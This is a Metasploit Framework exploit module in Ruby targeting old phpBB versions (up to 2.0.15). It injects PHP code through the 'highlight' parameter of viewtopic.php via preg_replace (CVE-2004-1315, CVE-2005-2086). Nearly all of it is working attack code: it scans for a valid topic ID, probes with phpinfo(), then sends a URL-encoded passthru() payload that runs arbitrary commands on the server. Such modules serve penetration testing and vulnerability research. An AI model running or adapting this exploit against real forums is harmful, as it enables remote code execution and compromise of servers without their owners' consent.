```
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/

#This Metasploit module exploits two arbitrary PHP code execution flaws in the phpBB forum system. The
#problem is that the 'highlight' parameter in the 'viewtopic.php' script is not verified properly and will allow
#an attacker to inject arbitrary code via preg_replace().

##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

        include Msf::Exploit::Remote::HttpClient

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'phpBB viewtopic.php Arbitrary Code Execution',
                        'Description'    => %q{
                                        This module exploits two arbitrary PHP code execution
flaws in the
                                        phpBB forum system. The problem is that the 'highlight'
parameter
                                        in the 'viewtopic.php' script is not verified properly and will
                                        allow an attacker to inject arbitrary code via
preg_replace().
                        },
                        'Author'         => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision$',
                        'References'     =>
                                [
                                        [ 'CVE', '2005-2086'],
                                        [ 'CVE', '2004-1315'],
                                        [ 'OSVDB', '11719'],
                                        [ 'OSVDB', '17613'],
                                        [ 'BID', '14086'],
                                        [ 'BID', '10701'],
                                ],
                        'Privileged'     => false,
                        'Payload'        =>
                                {
                                        'DisableNops' => true,
```

```
                                        'Space'       => 1024,
                                        'Compat'      =>
                                                {
                                                        'PayloadType' => 'cmd',
                                                        'RequiredCmd' => 'generic perl ruby bash
telnet',
                                                }
                                },
                        'Platform'      => 'unix',
                        'Arch'          => ARCH_CMD,
                        'Targets'       =>
                                [
                                        [ 'Automatic',              { }],
                                        [ 'phpbb <=2.0.10',     { }],
                                        [ 'phpbb <=2.0.15',     { }],
                                ],
                        'DisclosureDate' => 'Nov 12 2004',
                        'DefaultTarget'  => 0))

                        register_options(
                                [
                                        OptString.new('URI', [true, "The phpBB root Directory",
"/phpBB2"]),
                                        OptString.new('TOPIC', [false, "The ID of a valid topic"]),
                                ], self.class)
        end

        def find_topic

                1.upto(32) do |x|

                res = send_request_raw({
                        'uri'      => datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,
                }, 25)

                if (res and res.body.match(/class="postdetails"/))
                        print_status("Discovered valid topic ID: #{x}")
                        return x
                end

                end
                return false

        end

        def exploit

                topic = datastore['TOPIC'] || find_topic

                if !(topic)
                        print_status("No valid topic ID found, please specify the TOPIC option.")
```

```
                return
        else

                sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="

                case target.name
                when /Automatic/
                        req =
"/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"

                        res = send_request_raw({
                        'uri'      => datastore['URI'] + req
                        }, 25)

                        print_status("Trying to determine which attack method to use...")

                        if (res and res.body =~ /\<title>phpinfo/)
                                byte = payload.encoded.unpack('C*').map! { |ch| ch =
"chr(#{ch})" }.join('%252e')
                                sploit << "%2527%252epassthru(#{byte})%252e%2527"
                        else
                                byte = payload.encoded.unpack('C*').map! { |ch| ch =
"chr(#{ch})" }.join('.')
                                sploit << "%27.passthru(#{byte}).%27"
                        end

                when /2\.0\.10/
                        byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})"
}.join('%252e')
                        sploit << "%2527%252epassthru(#{byte})%252e%2527"
                when /2\.0\.15/
                        byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})"
}.join('.')
                        sploit << "%27.passthru(#{byte}).%27"
                end

                res = send_request_raw({
                'uri'      => sploit
                }, 25)

        end

    end

end
```